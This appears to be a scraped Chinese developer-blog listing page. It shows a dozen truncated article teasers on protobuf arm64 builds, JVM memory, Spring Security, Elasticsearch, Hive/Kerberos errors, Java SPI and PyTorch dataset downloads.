项目需求&#xff0c;protobuf源码编成静态库使用 但是&#xff0c;github上的protobuf源码没有对应arm64的编译器定义&#xff0c;编译出来的静态库使用时报错。 下面的连接是arm64编译器代码补丁包&#xff0c;把编译器代码放到src/google/protobuf/stubs/atomicops_intern…

二、JVM-深入运行时数据区

深入运行时数据区 计算机体系结构 JVM的设计实际上遵循了遵循冯诺依曼计算机结构 CPU与内存交互图&#xff1a; 硬件一致性协议&#xff1a; MSI、MESI、MOSI、Synapse、Firely、DragonProtocol 摩尔定律 摩尔定律是由英特尔(Intel)创始人之一戈登摩尔(Gordon Moore)提出来…

基于Caffe的静默活体检测识别分析系统

周末的时候看到一个好玩的项目就想着实际拿来使用一下&#xff0c;这个项目主要是做的是开源的跟人脸活体检测相关的内容&#xff0c;这里主要采用的是静默活体检测的方式。 人脸静默活体检测是一种用于验证人脸是真实、活体的技术&#xff0c;而不需要进行任何口头指令或特定…

自监督去噪:Noise2Noise原理及实现(Pytorch)

文章地址&#xff1a;https://arxiv.org/abs/1803.04189 ICML github 代码: https://github.com/NVlabs/noise2noise 本文整理和参考代码: https://github.com/shivamsaboo17/Deep-Restore-PyTorch 文章目录 1. 理论背景2. 实验结果3. 代码实现(1) 网络结构(2) 数据加载(3) 网络…

Elasticsearchr入门

首先在官网下载elasticsearch8.9版本&#xff0c;以及8.9版本的kibana。 解压&#xff0c;点击es8.9bin目录下的elasticsearch.bat文件启动es 如图所示即为成功。 启动之后打开idea&#xff0c;添加依赖 <dependency><groupId>com.fasterxml.jackson.core</g…

后端进阶之路——Spring Security构建强大的身份验证和授权系统(四)

前言 「作者主页」&#xff1a;雪碧有白泡泡 「个人网站」&#xff1a;雪碧的个人网站 「推荐专栏」&#xff1a; ★java一站式服务 ★ ★前端炫酷代码分享 ★ ★ uniapp-从构建到提升★ ★ 从0到英雄&#xff0c;vue成神之路★ ★ 解决算法&#xff0c;一个专栏就够了★ ★ 架…

嵌入式:C高级 Day3

一、整理思维导图 二、判断家目录下&#xff0c;普通文件的个数和目录文件的个数 三、输入一个文件名&#xff0c;判断是否为shell脚本文件&#xff0c;如果是脚本文件&#xff0c;判断是否有可执行权限&#xff0c;如果有可执行权限&#xff0c;运行文件&#xff0c;如果没有可…

中科昊芯28034上手(1)--环境搭建

官网信息还是比较完整&#xff0c;不过需要下载阿里云盘。 1. 官网链接&#xff1a; start28034湖人开发板_北京中科昊芯科技有限公司 官网图片长这样&#xff1a; 实物有些出入&#xff1a; 基本功能差异不大。 2. 资料还是齐备的&#xff0c;不过案例好像都是平头哥的…

Java中的SPI机制与扫描class原理

文章目录 前言ClassLoaderJAVA SPI机制Spring SPI机制示例原理 如何加载jar包里的class 前言 Java的SPI机制与Spring中的SPI机制是如何实现的&#xff1f; ClassLoader 这里涉及到了class Loader的机制&#xff0c;有些复杂&#xff0c;jdk中提供默认3个class Loader&#x…

Hive/Spark/Yarn: User Not Found 错误和 Kerberos / AD / OpenLDAP 之间的关系与解释

有时候,当你向Spark或Hive提交作业时,可能会遇到如下的错误: 提交作业使用的用户是example-user-1,但是Yarn返回的错误信息是:该用户不存在。类似的问题大多发生在启动了Kerberos的Hadoop集群上,或者集群集成了Windows AD或OpenLDAP后。本文,我们把这个问题梳理清楚并给…

AOP获取切点表达式中注解的属性

文章目录 1、获取Cacheable注解的属性2、获取自定义注解的属性 1、获取Cacheable注解的属性 有个小需求&#xff0c;要在日志中打印支持redis缓存的方法的相关信息&#xff0c;这里切点表达式动词用annotation&#xff0c;后面跟Cacheable注解 Component Aspect Slf4j public…

【Pytorch】下载CIFAR10数据集报错: urllib.error.URLError: <urlopen error name: https>

在使用Pytorch 下载CIFAR10的时候&#xff0c;遇到一个报错&#xff0c; 可能是网络特别慢导致的&#xff0c;一般情况下都会遇到这个报错。 解决办法&#xff1a; 1、到官网直接下载这个压缩包&#xff0c;解压。 http://www.cs.utoronto.ca/~kriz/cifar.html 解压后&#x…